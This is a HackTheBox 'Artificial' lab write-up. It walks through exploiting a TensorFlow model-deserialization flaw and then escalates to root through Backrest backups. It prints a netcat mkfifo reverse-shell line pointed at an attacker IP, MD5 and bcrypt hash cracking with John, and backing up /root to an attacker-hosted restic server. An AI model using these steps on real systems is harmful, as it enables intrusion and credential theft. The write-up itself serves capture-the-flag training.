TheLeopard65
Published on

HackTheBox - Easy - Linux - Artificial

AUTHORS
  • avatar
    NAME
    Yasir Mehmood
    TWITTER
HackTheBox Artificial Machine - Banner

The challenge began with an AI-focused website that allowed users to upload TensorFlow models. A flaw in how the platform processes modeled files provided an initial point of system access. From there, credentials stored in the database allowed movement to another user account. That account had local access to a Backrest instance, where reviewing its configuration and recovering a stored credentials enabled further progress. Ultimately, several methods were demonstrated to escalate privileges to root through the application’s functionality.

Machine NameIP-AddressDificultyMachine Domain
Artificial10.10.11.74Easyartificial.htb

Enumeration

  • The tester performed an initial Nmap Scan and got the following results:
┌──(kali@kali)-[~/HTB/Artificial]
└─$ nmap -sC -sV 10.10.11.74
# Nmap 7.95 scan initiated Fri Jun 27 16:32:06 2025 as: /usr/lib/nmap/nmap -sC -sV 10.10.11.74
Nmap scan report for 10.10.11.74
Host is up (0.086s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
8089/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Directory listing for /
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 27 16:32:16 2025 -- 1 IP address (1 host up) scanned in 10.08 seconds
  • The tester then added the IP-Address to the /etc/hosts file on the attacker system.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ echo "10.10.11.74 artificial.htb" >> /etc/hosts
10.10.11.74 artificial.htb

Initial Access

  • After enumeration of the site, It was found that the webpage allows us to run AI models by uploading a .h5 file.
HackTheBox Artificial Machine - File Upload Feature
  • The website also contained a dockerfile. Which after reading, revealed to use tensorflow-cpu to runs Models.
  • The version of the Tensorflow CPU library used in the backed-end docker container was vulnerable to a CVE.
  • Attacker could gain Remote Code Execution (RCE) on server if a malicious model was uploaded and run on server.
  • This TensorFlow deserialization vulnerability lets the user run arbitrary Python code as web server user.
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]
  • The tester found an Proof-of-Concept (PoC) exploit for the tensorflow version on this repository of Github.
  • This exploit was then modified further to change the simple reverse shell payload to mkfifo one.
  • The tester then registered a user on the website and Downloaded the Dockerfile to generate and use the exploit.
  • Building container made it easier to create the exploit as the specific version was required to build the .h5 model.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ git clone https://github.com/Splinter0/tensorflow-rce.git

┌──(kali@kali)-[~/HTB/Artificial]
└─$ nano tensorflow-rce/exploit.py
  • Inside the exploit.py, the tester changed the IP-Address and Port in the following line.
os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 1234 >/tmp/f")
  • Inside the Dockerfile, the tester added the netcat package for installation in the container.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ nano Dockerfile
apt-get install -y curl netcat-openbsd && \
  • The tester then started to build and run the Dockerfile with mounted tensorflow-rce directory.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ docker build -t tf-rce tensorflow-rce/

┌──(kali@kali)-[~/HTB/Artificial]
└─$ docker run -it --rm -v ./tensorflow-rce:/work tf-rce
  • Tester then started a netcat reverse shell listener on the attacker host for the Initial Access.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ rlwrap nc -nvlp 1234
  • Inside the container, the tester created the malicious model using the exploit.py script.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ python3 exploit.py
HackTheBox Artificial Machine - Building the .h5 payload using the exploit.py script
  • Tester then uploaded the exploit.h5 model inside http://artificial.htb/dashboard with the registered user.
HackTheBox Artificial Machine - Uploading the .h5 file
  • Tester then started a nc listener and clicked View Predictions on the uploaded model to receive a reverse shell.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.11.74] 56386
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(app) gid=1001(app) groups=1001(app)

$ ls -lah /home
total 16K
drwxr-xr-x  4 root root 4.0K Jun 18 13:19 .
drwxr-xr-x 19 root root 4.0K Jun 25 19:50 ..
drwxr-x---  6 app  app  4.0K Jun  9 10:52 app
drwxr-x---  4 gael gael 4.0K Jun  9 08:53 gael
  • The tester then upgraded the Unstable shell into a More Stable and Interactive TTY Shell using python3.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
# Press CTRL+Z to send the Process in Background.
stty raw -echo; fg
  • The tester then started to review the Code for the app.py file found in the ~/app directory of the app user.
# app@artificial:~/app$ cat ~/app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, flash
from flask_sqlalchemy import SQLAlchemy
from werkzeug.utils import secure_filename
import os
import tensorflow as tf
import hashlib
import uuid
import numpy as np
import io
from contextlib import redirect_stdout
import hashlib

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'

db = SQLAlchemy(app)

MODEL_FOLDER = 'models'
os.makedirs(MODEL_FOLDER, exist_ok=True)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(100), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(200), nullable=False)
    models = db.relationship('Model', backref='owner', lazy=True)

class Model(db.Model):
    id = db.Column(db.String(36), primary_key=True)
    filename = db.Column(db.String(120), nullable=False)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'h5'

def hash(password):
 password = password.encode()
 hash = hashlib.md5(password).hexdigest()
 return hash

@app.route('/')
def index():
    if ('user_id' in session):
        username = session['username']
        if (User.query.filter_by(username=username).first()):
            return redirect(url_for('dashboard'))
    return render_template('index.html')

@app.route('/static/requirements.txt')
def download_txt():
    try:
        pdf_path = './static/requirements.txt'  # Adjust path as needed
        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='requirements.txt',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "requirements file not found", 404

@app.route('/static/Dockerfile')
def download_dockerfile():
    try:
        pdf_path = './static/Dockerfile'  # Adjust path as needed
        return send_file(
            pdf_path,
            as_attachment=True,
            download_name='Dockerfile',  # Name for downloaded file
            mimetype='application/text'
        )
    except FileNotFoundError:
        return "Dockerfile file not found", 404

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        email = request.form['email']
        password = request.form['password']
        hashed_password = hash(password)
        existing_user = User.query.filter((User.username == username) | (User.email == email)).first()
        if existing_user:
            flash('Username or email already exists. Please choose another.', 'error')
            return render_template('register.html')

        new_user = User(username=username, email=email, password=hashed_password)
        try:
            db.session.add(new_user)
            db.session.commit()
            return redirect(url_for('login'))
        except Exception as e:
            db.session.rollback()
            flash('An error occurred. Please try again.', 'error')
    return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        email = request.form['email']
        password = request.form['password']
        user = User.query.filter_by(email=email).first()
        if user and user.password == hash(password):
            session['user_id'] = user.id
            session['username'] = user.username
            return redirect(url_for('dashboard'))
        else:
          pass
    return render_template('login.html')

@app.route('/dashboard')
def dashboard():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    user_models = Model.query.filter_by(user_id=session['user_id']).all()
    return render_template('dashboard.html', models=user_models, username=username)

@app.route('/upload_model', methods=['POST'])
def upload_model():
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))
    if 'model_file' not in request.files:
        return redirect(url_for('dashboard'))

    file = request.files['model_file']
    if file.filename == '':
        return redirect(url_for('dashboard'))

    if file and allowed_file(file.filename):
        model_id = str(uuid.uuid4())
        filename = f"{model_id}.h5"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        try:
            file.save(file_path)
            new_model = Model(id=model_id, filename=filename, user_id=session['user_id'])
            db.session.add(new_model)
            db.session.commit()

        except Exception as e:
            if os.path.exists(file_path):
                os.remove(file_path)
    else:
       pass

    return redirect(url_for('dashboard'))

@app.route('/delete_model/<model_id>', methods=['GET'])
def delete_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))
    model = Model.query.filter_by(id=model_id, user_id=session['user_id']).first()
    if model:
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], model.filename)
        if os.path.exists(file_path):
            os.remove(file_path)
        db.session.delete(model)
        db.session.commit()
    else:
       pass

    return redirect(url_for('dashboard'))

@app.route('/run_model/<model_id>')
def run_model(model_id):
    if ('user_id' in session):
        username = session['username']
        if not (User.query.filter_by(username=username).first()):
            return redirect(url_for('login'))
    else:
        return redirect(url_for('login'))

    model_path = os.path.join(app.config['UPLOAD_FOLDER'], f'{model_id}.h5')
    if not os.path.exists(model_path):
        return redirect(url_for('dashboard'))

    try:
        model = tf.keras.models.load_model(model_path)
        hours = np.arange(0, 24 * 7).reshape(-1, 1)
        predictions = model.predict(hours)
        days_of_week = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday"]
        daily_predictions = {f"{days_of_week[i // 24]} - Hour {i % 24}": round(predictions[i][0], 2) for i in range(len(predictions))}
        max_day = max(daily_predictions, key=daily_predictions.get)
        max_prediction = daily_predictions[max_day]
        model_summary = []
        model.summary(print_fn=lambda x: model_summary.append(x))
        model_summary = "\n".join(model_summary)
        return render_template(
            'run_model.html',
            model_summary=model_summary,
            daily_predictions=daily_predictions,
            max_day=max_day,
            max_prediction=max_prediction
        )
    except Exception as e:
        print(e)
        return redirect(url_for('dashboard'))

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    session.pop('username', None)
    return redirect(url_for('index'))

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='127.0.0.1')
  • As it can seen in the above codeblock. There was secret key hardcoded in the source i.e. the app.secret_key.
  • The tester found out the Code is using a Weak Password Hashing Algorithm i.e. Message Digest 5 (MD5) Algorithm.
  • The MD5 algorithm for password hashing is insecure and with no salting, it can be brute-forced easily.

Lateral Movement

  • Tester then decided to dump the users.db SQLite file and crack MD5 hashes for all the users found in Database.
app@artificial:~$ find / -type f -name "users.db" 2>/dev/null
/home/app/app/instance/users.db

app@artificial:~$ file /home/app/app/instance/users.db
/home/app/app/instance/users.db: SQLite 3.x database, last written using SQLite version 3031001
  • After copying the users.db file over to the Attacker Machine, tester started to examine the file using sqlite3.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ sqlite3 users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
model  user
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|qwsa|qwsa@qwsa.com|d8578edf8458ce06fbc5bb76a58c5ca4
7|abc|a@b.c|900150983cd24fb0d6963f7d28e17f72
8|admin|admin@test.com|5f4dcc3b5aa765d61d8327deb882cf99
9|test|test@test.com|098f6bcd4621d373cade4e832627b4f6
10|kali|test@kali.test|5f4dcc3b5aa765d61d8327deb882cf99
  • The tester then extracted all the MD5 hashes a text file in the user:hash (key:value) format.
  • The tester then used the John the Ripper (JtR) to cract the Raw-MD5 hashes against the rockyou.txt wordlist.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
<.... SNIPPING OUT THE OUTPUT BECAUSE I FORGOT TO SAVE IT FOR WRITEUP 🙂 ....>

┌──(kali@kali)-[~/HTB/Artificial]
└─$ john --show --format=raw-md5 hashes.txt
gael:mattp005numbertwo
royer:marwinnarak043414036
qwsa:qwerty
abc:abc
admin:password
test:test
  • After successfully Cracking majority of the Captured Hashes, tester then used su to switch to the gael user.
app@artificial:~$ su - gael
Password:
gael@artificial:~$
gael@artificial:~$ ls -lah
total 32K
drwxr-x--- 4 gael gael 4.0K Jun  9 08:53 .
drwxr-xr-x 4 root root 4.0K Jun 18 13:19 ..
lrwxrwxrwx 1 root root    9 Oct 19  2024 .bash_history -> /dev/null
-rw-r--r-- 1 gael gael  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 gael gael 3.7K Feb 25  2020 .bashrc
drwx------ 2 gael gael 4.0K Sep  7  2024 .cache
-rw-r--r-- 1 gael gael  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root    9 Oct 19  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root    9 Oct 19  2024 .sqlite_history -> /dev/null
drwx------ 2 gael gael 4.0K Sep  7  2024 .ssh
-rw-r----- 1 root gael   33 Jun 25 19:26 user.txt
  • After successfully getting the Shell Access as the gael user, tester started to perform some enumeration.
  • During the enumeration, the tester found a backup file for the backreset is owned by the sysadm Group.
gael@artificial:~$ groups
gael sysadm

gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz

gael@artificial:~$ ls -l /var/backups/backrest_backup.tar.gz
-rw-r----- 1 root sysadm 52357120 Mar  4 22:19 /var/backups/backrest_backup.tar.gz

Privilege Escalation

  • The tester then copied the backrest_backup.tar.gz file over to the Attacker Machine and extracted its contents.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ tar -xvf backrest_backup.tar.gz

┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ cd backrest

┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ ls -lah
Permissions Size User       Date Modified Name
drwxr-xr-x     - kali  3 Mar 23:27  .config
drwxr-xr-x     - kali  3 Mar 23:18  processlogs
drwxr-xr-x     - kali  5 Mar 00:17  tasklogs
.rwxr-xr-x   26M kali 16 Feb 21:38  backrest
.rwxr-xr-x  3.0k kali  3 Mar 06:28  install.sh
.rw-------    64 kali  3 Mar 23:18  jwt-secret
.rw-r--r--   57k kali  5 Mar 00:13  oplog.sqlite
.rw-r--r--   33k kali  5 Mar 00:17  oplog.sqlite-shm
.rw-r--r--     0 kali  5 Mar 00:17  oplog.sqlite-wal
.rw-------     0 kali  3 Mar 23:18  oplog.sqlite.lock
.rwxr-xr-x   27M kali  3 Mar 06:28  restic
  • Curious about the hidden .config file, the tester started examining its content, Which revealed hashed Credentials
┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ cat .config/backrest/config.json
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}
┌──(kali@kali)-[~/HTB/Artificial/backrest]
└─$ echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
  • The tester then used the John the Ripper (JtR) tool again to crack the bcrypt hash value.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt backrest_root.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (?)
1g 0:00:00:38 DONE (2025-11-14 22:27) 0.02621g/s 141.5p/s 141.5c/s 141.5C/s lightbulb..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Port Forwarding

  • The tester then created a secure tunnel between Kali port 9898 and 127.0.0.1:9898 on remote machine.
  • This was done to expose the remote Backrest API service locally on the Attacker Machine.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ ssh -L 9898:127.0.0.1:9898 gael@artificial.htb
password:
gael@artificial:~$
  • Tester opened the http://localhost:9898/ link in the browser and used backrest_root:!@#$%^ credentials to login.
  • On Kali, the tester hosted a Restic Server , to receive backups over HTTP from the remote Backrest.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ go install github.com/restic/rest-server/cmd/rest-server@latest

┌──(kali@kali)-[~/HTB/Artificial]
└─$ mkdir -p /tmp/restic

┌──(kali@kali)-[~/HTB/Artificial]
└─$ rest-server --path /tmp/restic --listen :4444 --no-auth
  • The tester then added a new Restic Repository using Add a Repo in the BackRest API.
HackTheBox Artificial Machine - Adding a new Restic Repository
  • The tester then received the following output on the rest-server hosted on the Attacker Machine.
Creating repository directories in /tmp/restic
  • The tester then added a new Plan using Add a Plan in the BackRest API.
HackTheBox Artificial Machine - Adding a new Restic Repo Plan
  • Tester then decided to run the Backup Plan manually which created a snapshot on Attacker Hosted Restic Server.
  • Tester then immediately restored the backup snapshot to be able to read all the files on the Target system.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ sudo apt install restic

┌──(kali@kali)-[~/HTB/Artificial]
└─$ restic snapshots -r /tmp/restic/
enter password for repository:
repository 921dda5a opened (version 2, compression level auto)
created new cache in /home/kali/.cache/restic
ID        Time                 Host        Tags                             Paths  Size
--------------------------------------------------------------------------------------------
af0fc73c  2025-06-28 02:49:28  artificial  plan:root,created-by:Artificial  /root  4.299 MiB
--------------------------------------------------------------------------------------------
1 snapshots

┌──(kali@kali)-[~/HTB/Artificial]
└─$ mkdir /tmp/restored
restic restore -r /tmp/restic/ af0fc73c --target /tmp/restored
  • Using the newly found Backup Access, the tester was able to read the SSH key was the root user.
  • Which the tester then used to get Shell access as root using the SSH private key of the user.
┌──(kali@kali)-[~/HTB/Artificial]
└─$ mv /tmp/restored/root $HOME/HTB/Artificial/

┌──(kali@kali)-[~/HTB/Artificial]
└─$ cd $HOME/HTB/Artificial/root/.ssh

┌──(kali@kali)-[~/HTB/Artificial/root/.ssh]
└─$ ssh -i id_rsa root@10.10.11.74
root@artificial:~# id
uid=0(root) gid=0(root) groups=0(root)
  • The Artificial Machine on HackTheBox is now complete.

HackTheBox Artificial Machine - Machine Completed